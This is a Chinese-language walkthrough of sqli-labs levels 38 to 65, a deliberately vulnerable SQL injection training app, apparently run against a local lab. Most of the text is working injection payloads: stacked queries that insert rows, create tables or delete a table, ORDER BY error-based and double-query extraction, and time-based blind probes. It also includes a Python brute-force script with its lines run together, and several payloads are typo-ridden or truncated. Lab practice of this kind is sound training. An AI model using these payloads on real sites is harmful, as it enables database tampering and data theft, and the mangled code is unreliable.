知識點:
1.堆疊注入原理(stacked injection)
在SQL中,分號(;)是用來表示一條sql語句的結束。試想一下我們在 ; 結束一個sql語句后繼續構造下一條語句,會不會一起執行?因此這個想法也就造就了堆疊注入。
1.1與union查詢區別
而union injection(聯合注入)也是將兩條語句合并在一起,兩者之間有什么區別么?區別就在于union 或者union all執行的語句類型是有限的,可以用來執行查詢語句,而堆疊注入可以執行的是任意的語句。
1.2使用實例
例如以下這個例子。用戶輸入:1; DELETE FROM products服務器端生成的sql語句為:(因未對輸入的參數進行過濾)Select * from products where productid=1;DELETE FROM products當執行查詢后,第一條顯示查詢信息,第二條則將整個表進行刪除。
1.3使用條件
堆疊注入的使用條件十分有限,其可能受到API或者數據庫引擎,又或者權限的限制只有當調用數據庫函數支持執行多條sql語句時才能夠使用,利用mysqli_multi_query()函數就支持多條sql語句同時執行,但實際情況中,如PHP為了防止sql注入機制,往往使用調用數據庫的函數是mysqli_ query()函數,其只能執行一條語句,分號后面的內容將不會被執行。
大多數時候,因為API或數據庫引擎的不支持,堆疊注入都無法實現。
less38:
堆疊注入:也就是可以執行多條sql語句
http://127.0.0.1/sqli-labs-master/Less-38/?id=1';insert into users(id,username,password) values ('38','less38','hello')--+
less39 堆疊注入
語句都一樣,重點是找到閉合的方式
?id=1;insert into users(id,username,password) values (16,‘a’,‘a’)–+
less40盲注,字符型
?id=1'); insert into users(id,username,password) values ('17','a','a')--+
less41 盲注,數字型
1; insert into users(id,username,password) values(18,'b','b') --+
less42
經過驗證,在password處語句報錯,所以我們需要從passowrd入手
0';create table aaa like users #
less43
和 42 類似 同樣password 未過濾
login_user=1&login_password=a’);create table less43 like users#&mysubmit=Login
less44 POST - Error based - String - Stacked -Blind
login_user=a&login_password=a';insert into users(id,username,password) values(19,'a','a') --+&mysubmit=Login
less45- Error based - String - Stacked - Blind
login_user=a&login_password=a’); insert into users(id,username,password) values(20,’‘c’,‘c’) --+&mysubmit=Login
Less-46 ORDER BY-Error-Numeric
終于迎來了一個過渡
這次的注入是通過order by 來進行的
通過sort 查詢 發現當輸入4的時候報錯,而報錯提示與order by 提示相同,猜想可能是將輸入的值插入order by里進行的
通過updatexml 報錯注入
sort=4 and updatexml(1,concat(0x7e,(select database()),0x7e),1) %23
Less-47 ORDER BY Clause-Error-Single quote
和46有少許區別,做到這里基本套路應該都懂了,從不需要單引號,雙引號之類的報錯,到盲注,難度都是一步一步深入
sort=4’ and (select count(*) from information_schema.columns group by concat(0x7e,(select database()),0x7e,floor(rand(0)*2))) --+
注意 and后面的語句要使用()括起來
基于 procedure analyse 注入
sort=1'procedure analyse(extractvalue(rand(),concat(0x3a,version())),1)--+
Less-48 ORDER BY Clause Blind based
這一題 需要使用盲注解決
通過substr獲取所要查詢的信息的位數
然后使用ascii去解析成ascii編碼
之后通過if判斷是否相等 去獲取值
之后構成 if(ascii(substr(datbase(),1,1)))
或者使用rand(ascii(left(database,1))=115) 同樣獲取相同的效果
Less-49 ORDER BY Clause Blind based
同樣是盲注,和48類似
這一題使用延時盲注解決
獲取長度
?id=1 and if(length(database())=8,sleep(5),0)--+
獲取值
?id=1 and If(ascii(substr(database(),1,1))=114,0,sleep (5))--+
Less-50 ORDER BY Clause Blind based
檢測 返回只有正確或者錯誤,屬于盲注
通過報錯注入 也能獲取
id=1 and updatexml(1,concat(0x7e,(select database()),0x7e),1) --+
Less-51 ORDER BY Clause Blind based
sort=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) --+
Less-52 ORDER BY Clause Blind based
測試發現均沒有顯錯 只能盲注了
1 and if(length(database())=8,sleep(5),0) --+
Less - 53 ORDER BY Clause Blind based
通過測試發現回顯只有正確和錯誤,所以這道題做法基本就是盲注了,
id=4' and if(length(database()) = 8 ,0,sleep(6)) --+
id=1' and (length(database())) = 8 and if(1=1, sleep(1), null) and '1'='1
id=1' and (ascii(substr((select database()) ,1,1))) = 114 and if(1=1, sleep(1), n
Less-54 GET-challenge-Union-10 queries allowed-Variation 1
挑戰 ,允許查詢10次,先不急去查看,觀察一下需要輸入的內容
所以,我們只有10次機會,
一般獲取一個表正常需要獲取數據庫,到表,到列,再到數據,所以最少需要4步,而這里我們需要用6步猜測出來注入
回憶一下前面的注入, get類型的包含但不限于單引號,雙引號,bool,堆疊,延時,報錯,字符型和數字型,雙注。
第一道題 采用最簡單的’注入
?id=1%27%20order%20by%203%20%23 // True
?id=1%27%20order%20by%204%20%23 // false
?id=0%27%20union%20select%201,2,database()%20%23 // True challenges
?id=0%27%20union%20select%201,2,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()%20%23 // True 8T3YRE3TXR
?id=0%27%20union%20select%201,2,group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema=database()%20and%20table_name=%278T3YRE3TXR%27%20%23// true secret_4XCQ
?id=0%27%20union%20select%201,2,group_concat(s
Less-55 GET-challenge-Union-14 queries allowed-Variation 2
線索: 告訴了測試次數14次, union測試 數據庫challenges
第一次挑戰 失敗
’ " ') ") 均沒有回顯 初次猜測報錯注入或者雙注
第二次嘗試
) 閉合
獲取表
=0) union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges' %23 // True UBU4QNRHHP
獲取列
id=0) union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='challenges' and table_name='UBU4QNRHHP' %23 //true
// secret_6H3B
獲取key
0) union select 1,2,group_concat(secret_6H3B) from UBU4QNRHHP %23
mLjAsOZnSEbQqIMybw1AnUYH
Less-56 GET-challenge-Union-14 queries allowed-Variation 3
這次老老實實繞過
id=1' %23 // False
id=1" %23 // True 但是注入 union報錯
添加為
id=1' union select 1,2,3 %23 // False
id=1" union select 1,2,3 %23 //False
id=1') union select 1,2,3 %23
獲取表
0%27)%20union%20select%201,2,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()%23
KOUNR4QC6G
獲取列
0') union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='KOUNR4QC6G'%23
secret_3EVD
獲取key
0') union select 1,2,group_concat(secret_3EVD) from KOUNR4QC6G %23
KcU87wBerjRPTHsvWBL6Zpx1
Less-57 GET-challenge-Union-14 queries allowed-Variation 4
做法 和之前一樣
0" union select 1,2,3 %23
通過改變0之后的值達到閉合的目的
獲取表
0" union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges'%23
VAFBXAV18O
獲取列
0" union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='challenges' and table_name='VAFBXAV18O'%23
secret_G8PM
獲取key
0" union select 1,2,group_concat(secret_G8PM) from VAFBXAV18O %23
dRwHUUQ2TXSGUZ556g7FikFJ
Less-58 GET-challenge-Double Query-5 queries allowed-Variation 1
這道題 不看題目可能需要測好久
這次使用雙注來報錯查詢
?id=1%27and%20%271%27=%271 // True繞過
獲取表
1'and (select count(*) from information_schema.tables group by concat('~',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'~',floor(rand(0)*2))) %23
5H512U9U27
獲取列
1'and (select count(*) from information_schema.tables group by concat('~',(select column_name from information_schema.columns where table_schema=database() and table_name='5H512U9U27' limit 2,1),'~',floor(rand(0)*2))) %23
secret_DD13
獲取key
1'and (select count(*) from information_schema.tables group by concat('~',(select secret_BJYY from 9JMRBSMHB3 limit 0,1),'~',floor(rand(0)*2))) %23
fJw5d5MfwbirBtiV6ajyMVYL
Less-59 GET-challenge-Double Query-5 queries allowed-Variation 2
先測試類型
有報錯,可以注入
這次不需要過濾
獲取表
1 and (select count(*) from information_schema.tables group by concat('~',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'~',floor(rand(0)*2))) %23
N6JFY84247
獲取列
1 and (select count(*) from information_schema.tables group by concat('~',(select column_name from information_schema.columns where table_schema=database() and table_name='N6JFY84247' limit 2,1),'~',floor(rand(0)*2))) %23
secret_FWQ3
獲取key
1 and (select count(*) from information_schema.tables group by concat('~',(select secret_FWQ3 from N6JFY84247 limit 0,1),'~',floor(rand(0)*2))) %23
VlWMK389WVuIephCe46vDls5
Less-60 GET-challenge-Double Query-5 queries allowed-Variation 3
測試 單引號 雙引號 ) ') “) 發現”) 閉合 繞過
獲取表
?id=1%22)%20and%20(select%20count(*)%20from%20information_schema.tables%20group%20by%20concat(%27~%27,(select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%200,1),%27~%27,floor(rand(0)*2)))%20%23
5H36JXB2F0
獲取 列
?id=1%22)%20and%20(select%20count(*)%20from%20information_schema.tables%20group%20by%20concat(%27~%27,(select%20column_name%20from%20information_schema.columns%20where%20table_schema=database()%20and%20table_name=%275H36JXB2F0%27%20limit%202,1),%27~%27,floor(rand(0)*2)))%20%23
secret_NFL6
獲取key
?id=1%22)%20and%20(select%20count(*)%20from%20information_schema.tables%20group%20by%20concat(%27~%27,(select%20secret_NFL6%20from%205H36JXB2F0%20limit%200,1),%27~%27,floor(rand(0)*2)))%20%23
49DYkkaArpuMaYb5ITI6NYlP
Less-61 GET-challenge-Double Query-5 queries allowed-Variation 4
通過1’ 判斷閉合
獲取表
1%
27))%20and%20(select%20count(*)%20from%20information_schema.tables%20group%20by%20concat(%27~%27,(select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%200,1),%27~%27,floor(rand(0)*2)))%20%23
EKP9EVPEDH
獲取列
1')) and (select count(*) from information_schema.tables group by concat('~',(select column_name from information_schema.columns where table_schema=database()%20 and table_name='EKP9EVPEDH' limit 2,1),'~',floor(rand(0)*2))) %23
secret_DI64
獲取key
1')) and (select count(*) from information_schema.tables group by concat('~',(select secret_DI64 from EKP9EVPEDH ),'~',floor(rand(0)*2))) %23
8r5XPen1KywllEINiQfAQnlq
Less-62 GET-challenge-Blind- 130 queries allowed -variation 1
高能警告,大佬腳本:
## 這里通過 ') %23 可構成閉合from urllib import request
from urllib import parse
import reurl ='http://192.168.64.135/Less-62/?id='# length
num = 0
for i in range(1,20):num +=1param = '1 \') and (length(database())='+str(i)+') #'response = request.urlopen(url+parse.quote(param)).read().decode()if (re.search("Angelina",response)):print("length:" + str(i))breakdatabase = ""
for i in range(10):a = b =64while True:num +=1b = int(b/2)param = '1 \') and (ascii(substr(database(),'+str(i+1)+',1))<'+str(a)+') #'response = request.urlopen(url+parse.quote(param)).read().decode()#print(url+parse.quote(param))if (re.search("Angelina", response)):a -=belse:param = '1 \') and (ascii(substr(database(),' + str(i+1) + ',1))=' + str(a) + ') #'response = request.urlopen(url + parse.quote(param)).read().decode()#print(url + parse.quote(param))if (re.search("Angelina", response)):database +=chr(a)breakelse:a +=bprint(database)之后爆破表 這一題寫個完整的,之后就簡略的寫出注入點,
爆破表,拿上面的修修改改
通過檢查,先確定表的長度,再去爆破
爆破前記得重置,因為130次比較少
# 查表的數量
table_num = 0while True:param = "1 ') and (select count(*) from information_schema.tables where table_schema=database())="+str(table_num)+" #"response = request.urlopen(url + parse.quote(param)).read().decode()print(url+parse.quote(param))if (re.search("Angelina",response)):print("table_num:"+str(table_num))breakelse:table_num += 1
print(table_num)# # 確定表的長度
table_length = 0
while True:param = '1 \') and length(substr((select table_name from information_schema.tables where table_schema=database()),1))='+str(table_length)+' #'response = request.urlopen(url+parse.quote(param)).read().decode()print(url+parse.quote(param))if (re.search("Angelina", response)):print("table_num:" + str(table_length))breakelse:table_length += 1# 獲取表名
table_name=""
for i in range(1,11):a=b=64while True:b= int(b/2)param = '1 \') and (ascii(substr((select table_name from information_schema.tables where table_schema=database()),'+str(i)+',1))<'+str(a)+') #'response = request.urlopen(url+parse.quote(param)).read().decode()print(url+parse.quote(param))if (re.search("Angelina", response)):a -=belse:param = '1 \') and (ascii(substr((select table_name from information_schema.tables where table_schema=database()),'+str(i)+',1))=' + str(a) + ') #'response = request.urlopen(url + parse.quote(param)).read().decode()print(url + parse.quote(param))if (re.search("Angelina", response)):table_name +=chr(a)breakelse:a +=bprint(table_name)J8CLO25SRR最后查列,這里發現寫的腳本比較費時,所以稍微修改一下
column_name =""
for i in range(7,11):a=b=64while True:b= int(b/2)param = '1 \') and (ascii(substr((select table_name from information_schema.tables where table_name="'+str(table_name)+'"),'+str(i)+',1))<'+str(a)+') #'response = request.urlopen(url+parse.quote(param)).read().decode()print(url+parse.quote(param))if (re.search("Angelina", response)):a -=belse:param = '1 \') and (ascii(substr((select table_name from information_schema.tables where table_name="'+str(table_name)+'"),'+str(i)+',1))=' + str(a) + ') #'response = request.urlopen(url + parse.quote(param)).read().decode()print(url + parse.quote(param))if (re.search("Angelina", response)):column_name +=chr(a)breakelse:a +=b
#HKIR
print(column_name)
column_name = "secret_"+column_name# 查 key
for i in range(1,25):a=b=64while True:b= int(b/2)param = '1 \') and (ascii(substr((select '+column_name+' from '+table_name+'),'+str(i)+',1))<'+str(a)+') #'response = request.urlopen(url+parse.quote(param)).read().decode()print(url+parse.quote(param))if (re.search("Angelina", response)):a -=belse:param = '1 \') and (ascii(substr((select '+column_name+' from '+table_name+')),'+str(i)+',1))=' + str(a) + ') #'response = request.urlopen(url + parse.quote(param)).read().decode()print(url + parse.quote(param))if (re.search("Angelina", response)):key +=chr(a)breakelse:a +=b
Less-63 GET-challenge-Blind- 130 queries allowed -variation 2
和上一題類似
這里就判斷注入類型,和如何閉合
1’ order by 4 %23
通過判斷 發現3 返回正常 4 錯誤
所以之后的做法就和62 一樣
Less-64 GET-challenge-Blind- 130 queries allowed -variation 3
測試了 ’ " ) )) ') ") ')) "))
1)) order by 3 %23 閉合
Less-65 GET-challenge-Blind- 130 queries allowed -variation 4
和上一題一樣,通過測試閉合
發現 ") 繞過 閉合
這里還有一種做法,將需要繞過的寫入txt文件,之后通過burp去爆破,通過判斷返回值也可以達到相同的